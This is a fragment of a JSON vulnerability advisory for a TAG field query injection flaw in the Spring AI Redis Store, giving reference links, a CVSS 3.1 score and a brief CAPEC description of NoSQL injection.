      "url": "https://github.com/spring-projects/spring-ai/releases/tag/v1.1.4"
    },
    {
      "type": "WEB",
      "url": "https://spring.io/security/cve-2026-22744"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Spring AI Redis Store has TAG Field Query Injection Through Improper Neutralization of Special Characters"
}

No mitigation information available for this CWE.

CAPEC-676: NoSQL Injection

An adversary targets software that constructs NoSQL statements based on user input or with parameters vulnerable to operator replacement in order to achieve a variety of technical impacts such as escalating privileges, bypassing authentication, and/or executing code.

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